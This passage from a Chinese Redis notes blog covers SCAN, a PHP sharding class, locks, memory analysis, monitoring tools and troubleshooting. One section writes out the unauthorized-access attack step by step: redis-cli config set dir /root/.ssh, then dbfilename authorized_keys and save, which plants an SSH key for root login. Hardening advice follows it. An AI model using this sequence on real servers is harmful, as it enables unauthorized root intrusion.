$this-&gt;user-&gt;id);</span></span><br><span class="line"><span class="string">https://learnku.com/articles/25181</span></span><br><span class="line"><span class="string">$redis-&gt;scan(0, '</span>match<span class="string">', '</span>login:<span class="number">201903</span>*<span class="string">', '</span>count<span class="string">', 1000))</span></span><br><span class="line"><span class="string">COUNT 参数的默认值为 10 ，如果不是 0 ，你再使用 scan 3 match login:201903* 继续遍历。</span></span><br></pre></td></tr></table></figure>
<h3 id="Redis-分布式存储"><a href="#Redis-分布式存储" class="headerlink" title="Redis 分布式存储"></a>Redis 分布式存储</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">RedisCluster</span> </span>&#123;</span><br><span class="line">    public $servers = array();</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">addServer</span>(<span class="params">$host, $port</span>) </span>&#123;</span><br><span class="line">        $redis = <span class="keyword">new</span> Redis();</span><br><span class="line">        $redis-&gt;_connected = <span class="literal">false</span>;</span><br><span class="line">        $redis-&gt;_host = $host;</span><br><span class="line">        $redis-&gt;_port = $port;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;servers[] = $redis;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params">$method, $args</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (!method_exists(<span class="string">"Redis"</span>, $method)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> Execption(<span class="string">"not method"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        $redis = $<span class="keyword">this</span>-&gt;servers[abs(crc32($args[<span class="number">0</span>])) % count($<span class="keyword">this</span>-&gt;servers)];</span><br><span class="line">        <span class="keyword">if</span> (!$redis-&gt;_connected) &#123;</span><br><span class="line">            $redis-&gt;connect($redis-&gt;_host, $redis-&gt;_port);</span><br><span class="line">            $redis-&gt;_connected = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// return $redis-&gt;$method(...$args); // PHP 5.6</span></span><br><span class="line">        <span class="keyword">return</span> call_user_func_array([$redis, $method], $args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$rc = <span class="keyword">new</span> RedisCluster();</span><br><span class="line">$rc-&gt;addServer(<span class="string">"127.0.0.1"</span>, <span class="number">8000</span>);</span><br><span class="line">$rc-&gt;addServer(<span class="string">"127.0.0.1"</span>, <span class="number">8001</span>);</span><br><span class="line">https:<span class="comment">//learnku.com/articles/32153</span></span><br><span class="line">$rc-&gt;set(<span class="string">"a"</span>, <span class="number">1</span>);</span><br><span class="line">$rc-&gt;set(<span class="string">"b"</span>, <span class="number">2</span>);</span><br><span class="line">$rc-&gt;set(<span class="string">"c"</span>, <span class="number">3</span>);</span><br><span class="line">$rc-&gt;set(<span class="string">"d"</span>, <span class="number">4</span>);</span><br><span class="line">$rc-&gt;set(<span class="string">"e"</span>, <span class="number">5</span>);</span><br></pre></td></tr></table></figure>
<h3 id="获取大-key"><a href="#获取大-key" class="headerlink" title="获取大 key"></a>获取大 key</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">redis-cli -h <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> -p <span class="number">7001</span> –-bigkeys 也可以追加一个休眠参数，防止在查询过程 ops 暴增，使用此命令：redis-cli -h <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> -p <span class="number">7001</span>–-bigkeys -i <span class="number">0.1</span></span><br><span class="line">https:<span class="comment">//github.com/leonchen83/redis-rdb-cli</span></span><br></pre></td></tr></table></figure>
<h3 id="redis锁"><a href="#redis锁" class="headerlink" title="redis锁"></a>redis锁</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 如果获取到锁，则执行 $callback 回调</span></span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">get</span>(<span class="params">$callback = null</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $result = $<span class="keyword">this</span>-&gt;acquire();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ($result &amp;&amp; is_callable($callback)) &#123;</span><br><span class="line">        <span class="keyword">return</span> tap($callback(), <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;release();</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 如果获取到锁，则执行 $callback 回调</span></span><br><span class="line"><span class="comment">// 如果没有获取到锁，会等待250毫秒，继续去获取锁</span></span><br><span class="line"><span class="comment">// 如果在 $seconds 秒之内还没有获取到锁，会抛出 LockTimeoutException 异常</span></span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">block</span>(<span class="params">$seconds, $callback = null</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $starting = $<span class="keyword">this</span>-&gt;currentTime();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (! $<span class="keyword">this</span>-&gt;acquire()) &#123;</span><br><span class="line">        usleep(<span class="number">250</span> * <span class="number">1000</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> ($<span class="keyword">this</span>-&gt;currentTime() - $seconds &gt;= $starting) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> LockTimeoutException;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (is_callable($callback)) &#123;</span><br><span class="line">        <span class="keyword">return</span> tap($callback(), <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;release();</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">RedisLock</span> <span class="keyword">extends</span> <span class="title">Lock</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * The Redis factory implementation.</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * @var \Illuminate\Redis\Connections\Connection</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    protected $redis;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Create a new lock instance.</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * @param  \Illuminate\Redis\Connections\Connection  $redis</span></span><br><span class="line"><span class="comment">     * @param  string  $name</span></span><br><span class="line"><span class="comment">     * @param  int  $seconds</span></span><br><span class="line"><span class="comment">     * @return void</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$redis, $name, $seconds</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        parent::__construct($name, $seconds);</span><br><span class="line"></span><br><span class="line">        $<span class="keyword">this</span>-&gt;redis = $redis;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Attempt to acquire the lock.</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * @return bool</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">acquire</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $result = $<span class="keyword">this</span>-&gt;redis-&gt;setnx($<span class="keyword">this</span>-&gt;name, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> ($result === <span class="number">1</span> &amp;&amp; $<span class="keyword">this</span>-&gt;seconds &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;redis-&gt;expire($<span class="keyword">this</span>-&gt;name, $<span class="keyword">this</span>-&gt;seconds);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> $result === <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Release the lock.</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * @return void</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">release</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;redis-&gt;del($<span class="keyword">this</span>-&gt;name);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/33111</span></span><br></pre></td></tr></table></figure>
<h3 id="Redis-未授权访问配合"><a href="#Redis-未授权访问配合" class="headerlink" title="Redis 未授权访问配合"></a>Redis 未授权访问配合</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">部分 Redis 绑定在 <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">6379</span>，并且没有开启认证（这是Redis 的默认配置），如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，将会导致 Redis 服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。</span><br><span class="line">利用 Redis 自身的提供的 config 命令，可以进行写文件操作，攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接使用对应的私钥登录目标服务器。</span><br><span class="line"></span><br><span class="line">Redis 暴露在公网（即绑定在<span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">6379</span>，目标IP公网可访问），并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。</span><br><span class="line">ssh-keygen –t rsa</span><br><span class="line">将公钥写入 foo.txt 文件</span><br><span class="line">$ (echo -e <span class="string">"\n\n"</span>; cat id_rsa.pub; echo -e <span class="string">"\n\n"</span>) &gt; foo.txt</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$ cat foo.txt | redis-cli -h <span class="number">192.168</span><span class="number">.1</span><span class="number">.11</span> -x set crackit</span><br><span class="line"> </span><br><span class="line">$ redis-cli -h <span class="number">192.168</span><span class="number">.1</span><span class="number">.11</span></span><br><span class="line"> </span><br><span class="line">$ <span class="number">192.168</span><span class="number">.1</span><span class="number">.11</span>:<span class="number">6379</span>&gt; config set dir /root/.ssh/</span><br><span class="line"> </span><br><span class="line">OK</span><br><span class="line"> </span><br><span class="line">$ <span class="number">192.168</span><span class="number">.1</span><span class="number">.11</span>:<span class="number">6379</span>&gt; config get dir</span><br><span class="line"> </span><br><span class="line"><span class="number">1</span>) <span class="string">"dir"</span></span><br><span class="line"> </span><br><span class="line"><span class="number">2</span>) <span class="string">"/root/.ssh"</span></span><br><span class="line"> </span><br><span class="line">$ <span class="number">192.168</span><span class="number">.1</span><span class="number">.11</span>:<span class="number">6379</span>&gt; config set dbfilename <span class="string">"authorized_keys"</span></span><br><span class="line"> </span><br><span class="line">OK</span><br><span class="line"> </span><br><span class="line">$ <span class="number">192.168</span><span class="number">.1</span><span class="number">.11</span>:<span class="number">6379</span>&gt; save</span><br><span class="line"> </span><br><span class="line">OK</span><br><span class="line">这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里，然后攻击者直接执行：</span><br><span class="line"> </span><br><span class="line">$ ssh –i  id_rsa root@<span class="number">192.168</span><span class="number">.1</span><span class="number">.11</span></span><br><span class="line">即可远程利用自己的私钥登录该服务器。</span><br><span class="line">当然，写入的目录不限于 /root/.ssh 下的authorized_keys，也可以写入用户目录，不过 Redis 很多以 root 权限运行，所以写入 root 目录下，可以跳过猜用户的步骤。</span><br><span class="line">可以使用Pocsuite（http:<span class="comment">//github.com/knownsec/pocsuite）执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。</span></span><br><span class="line"></span><br><span class="line">https:<span class="comment">//www.waitalone.cn/redis-unauthorized-of-expolit.html </span></span><br><span class="line">配置bind选项，限定可以连接Redis服务器的IP，修改 Redis 的默认端口<span class="number">6379</span></span><br><span class="line">配置认证，也就是AUTH，设置密码，密码会以明文方式保存在Redis配置文件中</span><br><span class="line">配置rename-command 配置项 “RENAME_CONFIG”，这样即使存在未授权访问，也能够给攻击者使用config 指令加大难度</span><br><span class="line">好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如config</span><br></pre></td></tr></table></figure>
<h3 id="Redis-查看所有-key-的-value-值所占内存大小"><a href="#Redis-查看所有-key-的-value-值所占内存大小" class="headerlink" title="Redis 查看所有 key 的 value 值所占内存大小"></a>Redis 查看所有 key 的 value 值所占内存大小</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//github.com/sripathikrishnan/redis-rdb-tools#generate-memory-report</span></span><br><span class="line">$ pip install rdbtools python-lzf</span><br><span class="line">$ git clone https:<span class="comment">//github.com/sripathikrishnan/redis-rdb-tools</span></span><br><span class="line">$ cd redis-rdb-tools</span><br><span class="line">$ sudo python setup.py install</span><br><span class="line"></span><br><span class="line">接下来找到 redis 的 dump.rdb 位置</span><br><span class="line"></span><br><span class="line">首先定位到 redis.conf 位置</span><br><span class="line"></span><br><span class="line">$ whereis redis.conf</span><br><span class="line">redis: <span class="regexp">/etc/</span>redis.conf</span><br><span class="line">$ cat /etc/redis.conf | grep dir | grep redis</span><br><span class="line">dir /<span class="keyword">var</span>/lib/redis</span><br><span class="line">$ cat /etc/redis.conf | grep dump.rdb</span><br><span class="line">dbfilename dump.rdb</span><br><span class="line">综上，得知其路径为：/<span class="keyword">var</span>/lib/redis/dump.rdb</span><br><span class="line"></span><br><span class="line">按内存值导出 csv</span><br><span class="line"></span><br><span class="line">$ rdb -c memory /<span class="keyword">var</span>/lib/redis/dump.rdb &gt; <span class="regexp">/tmp/</span>redis.csv</span><br><span class="line">https:<span class="comment">//learnku.com/articles/33211</span></span><br></pre></td></tr></table></figure>
<h3 id="管理平台工具-RedisManager"><a href="#管理平台工具-RedisManager" class="headerlink" title="管理平台工具 RedisManager"></a>管理平台工具 RedisManager</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">github项目地址：https:<span class="comment">//github.com/ngbdf/redis-manager</span></span><br><span class="line"></span><br><span class="line">下载安装：</span><br><span class="line">系统环境：</span><br><span class="line">LINUX</span><br><span class="line">JDK1<span class="number">.8</span></span><br><span class="line"></span><br><span class="line">#Releases</span><br><span class="line">https:<span class="comment">//github.com/ngbdf/redis-manager/releases</span></span><br><span class="line"></span><br><span class="line">#当前最新版本 1.1</span><br><span class="line">wget https:<span class="comment">//github.com/ngbdf/redis-manager/releases/download/redismanager-1.1-release/redis-manager-1.1-release.tar.gz</span></span><br><span class="line"></span><br><span class="line">#创建数据库</span><br><span class="line">create database dbname <span class="keyword">default</span> character set utf8mb4 collate utf8mb4_general_ci;</span><br><span class="line"></span><br><span class="line">#解压</span><br><span class="line">tar xf redis-manager<span class="number">-1.1</span>-release.tar.gz </span><br><span class="line">cd redis-manager<span class="number">-1.1</span>/</span><br><span class="line"></span><br><span class="line">#修改配置文件</span><br><span class="line">cd conf/</span><br><span class="line">vim application.yml</span><br><span class="line"></span><br><span class="line">#端口号</span><br><span class="line">server:</span><br><span class="line">  tomcat.uri-encoding: UTF<span class="number">-8</span></span><br><span class="line">  port: <span class="number">8182</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#数据库，仅需自己创建数据库即可，相关表会自动生成</span><br><span class="line">  datasource:</span><br><span class="line">      name: dbname</span><br><span class="line">      driver-class-name: com.mysql.jdbc.Driver</span><br><span class="line">      url: jdbc:mysql:<span class="comment">//192.168.1.1:3306/dbname?useUnicode=true&amp;characterEncoding=utf-8</span></span><br><span class="line">      username: user</span><br><span class="line">      password: passwd</span><br><span class="line"></span><br><span class="line">启动访问：</span><br><span class="line">#执行bin目录下的start.sh脚本</span><br><span class="line">./bin/start.sh </span><br><span class="line"></span><br><span class="line">#查看进程</span><br><span class="line">ps -ef |grep java</span><br><span class="line"></span><br><span class="line">#查看端口</span><br><span class="line">netstat -lntp |grep <span class="number">8182</span></span><br><span class="line">tcp6       <span class="number">0</span>      <span class="number">0</span> :::<span class="number">8182</span>                 :::*                    LISTEN      <span class="number">7774</span>/java   </span><br><span class="line">https:<span class="comment">//me.jinchuang.org/archives/430.html</span></span><br></pre></td></tr></table></figure>
<h3 id="Redis监控工具-redis-stat"><a href="#Redis监控工具-redis-stat" class="headerlink" title="Redis监控工具 redis-stat"></a>Redis监控工具 redis-stat</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//github.com/junegunn/redis-stat</span></span><br><span class="line">yum install ruby ruby-devel rubygem</span><br><span class="line">#更换gem源，使用国内镜像源下载更快</span><br><span class="line">gem source -a https:<span class="comment">//ruby.taobao.org/ #添加淘宝源</span></span><br><span class="line">gem source -r http:<span class="comment">//rubygems.org/ #删除境外源</span></span><br><span class="line"></span><br><span class="line">[root@localhost ~]# gem install redis --version 3.0.0 #默认最新是4.0版本</span><br><span class="line">Fetching: redis<span class="number">-3.0</span><span class="number">.0</span>.gem (<span class="number">100</span>%)</span><br><span class="line">[root@localhost ~]# gem install redis-stat</span><br><span class="line">Fetching: ansi256<span class="number">-0.2</span><span class="number">.5</span>.gem (<span class="number">100</span>%)</span><br><span class="line">Successfully installed ansi256<span class="number">-0.2</span><span class="number">.5</span></span><br><span class="line">使用redis-stat 命令行形式</span><br><span class="line">[root@localhost ~]# redis-stat 127.0.0.1:6379</span><br><span class="line">/usr/local/rvm/gems/ruby<span class="number">-2.4</span><span class="number">.1</span>/gems/sinatra<span class="number">-1.3</span><span class="number">.6</span>/lib/sinatra/base.rb:<span class="number">1070</span>: warning: constant ::Fixnum is deprecated</span><br><span class="line">使用redis-stat webserver形式</span><br><span class="line">[root@localhost ~]# redis-stat 127.0.0.1:6379 --server=6666 --daemon #端口自定义</span><br><span class="line">/usr/local/rvm/gems/ruby<span class="number">-2.4</span><span class="number">.1</span>/gems/sinatra<span class="number">-1.3</span><span class="number">.6</span>/lib/sinatra/base.rb:<span class="number">1070</span>: warning: constant ::Fixnum is deprecated</span><br><span class="line"></span><br><span class="line">打开http:<span class="comment">//服务器ip地址:8000 访问</span></span><br><span class="line"></span><br><span class="line">集群也是一样的</span><br><span class="line">redis-stat <span class="number">192.168</span><span class="number">.16</span><span class="number">.186</span>:<span class="number">7000</span> <span class="number">192.168</span><span class="number">.16</span><span class="number">.186</span>:<span class="number">7001</span> <span class="number">192.168</span><span class="number">.16</span><span class="number">.186</span>:<span class="number">7002</span> <span class="number">192.168</span><span class="number">.16</span><span class="number">.186</span>:<span class="number">7003</span> <span class="number">192.168</span><span class="number">.16</span><span class="number">.186</span>:<span class="number">7004</span> <span class="number">192.168</span><span class="number">.16</span><span class="number">.186</span>:<span class="number">7005</span> --</span><br><span class="line">https:<span class="comment">//me.jinchuang.org/archives/233.html</span></span><br></pre></td></tr></table></figure>
<h3 id="loading-redis-is-loading-the-dataset-in-memory-laravel"><a href="#loading-redis-is-loading-the-dataset-in-memory-laravel" class="headerlink" title="loading redis is loading the dataset in memory laravel"></a>loading redis is loading the dataset in memory laravel</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# redis-cli</span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; ping</span><br><span class="line">(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs <span class="keyword">for</span> details about the error.</span><br><span class="line"></span><br><span class="line">ps aux|grep redis|grep -v grep|awk <span class="string">'&#123;print $2&#125;'</span>|xargs kill <span class="number">-9</span></span><br><span class="line">redis-server /etc/redis.conf</span><br><span class="line"></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>[<span class="number">1</span>]&gt; ping</span><br><span class="line">(error) LOADING Redis is loading the dataset <span class="keyword">in</span> memory</span><br><span class="line"></span><br><span class="line">echo <span class="string">'vm.overcommit_memory = 1'</span> &gt;&gt; <span class="regexp">/etc/</span>sysctl.conf</span><br><span class="line">sysctl vm.overcommit_memory=<span class="number">1</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; ping</span><br><span class="line">PONG</span><br><span class="line">但是写不进Redis </span><br><span class="line"></span><br><span class="line">Redis被配置为保存数据库快照，但它目前不能持久化到硬盘。用来修改集合数据的命令不能用。请查看Redis日志的详细错误信息。</span><br><span class="line"></span><br><span class="line">原因</span><br><span class="line">强制关闭Redis快照导致不能持久化。</span><br><span class="line"></span><br><span class="line">解决方案</span><br><span class="line">将stop-writes-on-bgsave-error设置为no</span><br><span class="line"></span><br><span class="line">➜  sh redis-cli -h <span class="number">172.16</span><span class="number">.200</span>.xx -p <span class="number">6378</span></span><br><span class="line"><span class="number">172.16</span><span class="number">.200</span>.xx:<span class="number">6378</span>&gt; config set stop-writes-on-bgsave-error no</span><br><span class="line">找到运维排查机器硬盘内存是否满了，果然，还真是硬盘内存满了，导致持久化保存快照时，发生异常。</span><br><span class="line">[root@localhost ~]# df -h</span><br><span class="line">Filesystem      Size  Used Avail Use% Mounted on</span><br><span class="line">/dev/sda2       <span class="number">4.0</span>G  <span class="number">2.1</span>G  <span class="number">1.8</span>G  <span class="number">55</span>% <span class="regexp">/</span></span><br><span class="line"><span class="regexp">tmpfs           5.9G     0  5.9G   0% /</span>dev/shm</span><br><span class="line">/dev/sda7        <span class="number">96</span>G   <span class="number">11</span>G   <span class="number">80</span>G  <span class="number">12</span>% <span class="regexp">/data0</span></span><br><span class="line"><span class="regexp">/</span>dev/sda5       <span class="number">7.9</span>G  <span class="number">278</span>M  <span class="number">7.3</span>G   <span class="number">4</span>% <span class="regexp">/tmp</span></span><br><span class="line"><span class="regexp">/</span>dev/sda3        <span class="number">12</span>G  <span class="number">8.8</span>G  <span class="number">2.5</span>G  <span class="number">79</span>% <span class="regexp">/usr</span></span><br><span class="line"><span class="regexp">/</span>dev/sda6       <span class="number">7.9</span>G  <span class="number">7.8</span>G     <span class="number">0</span> <span class="number">100</span>% <span class="regexp">/var</span></span><br><span class="line"><span 